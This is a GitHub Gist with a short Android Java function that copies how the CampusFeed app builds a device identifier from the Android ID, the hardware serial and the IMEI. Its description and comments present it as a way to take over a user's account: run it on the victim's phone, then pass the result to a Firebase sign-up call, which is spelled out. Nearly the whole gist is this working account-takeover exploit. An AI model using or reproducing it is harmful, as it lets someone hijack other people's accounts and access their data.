Last active
November 27, 2017 04:32
-
-
Save hackersoup/4be53fe131d2f71db90682a4c3fd281a to your computer and use it in GitHub Desktop.
CampusFeed's device UDID generation. Use to take over a user's account.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* getCampusFeedUid | |
* Replicates the UID generation algorithm for CampusFeed | |
* Run this function on the phone of a CampusFeed user to get the information needed to | |
* take over their account. | |
* Use the returned string in a Firebase Auth call as such: | |
* createUserWithEmailAndPassword(getCampusFeedUid() + "@user.com", getCampusFeedUid()); | |
* | |
* Requires: | |
* android.provider.Settings.Secure | |
* android.os.Build | |
* android.telephony.TelephonyManager | |
*/ | |
private String getCampusFeedUid() { | |
if (VERSION.SDK_INT >= 23) { | |
return Secure.getString(getApplicationContext().getContentResolver(), "android_id") + "#-#" + Build.SERIAL; | |
} | |
String str; | |
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(PlaceFields.PHONE); | |
if (telephonyManager != null) { | |
str = telephonyManager.getDeviceId() + "#-#" + Secure.getString(getContentResolver(), "android_id"); | |
} else { | |
str = null; | |
} | |
if (str == null || str.length() == 0) { | |
return Secure.getString(getContentResolver(), "android_id"); | |
} | |
return str; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment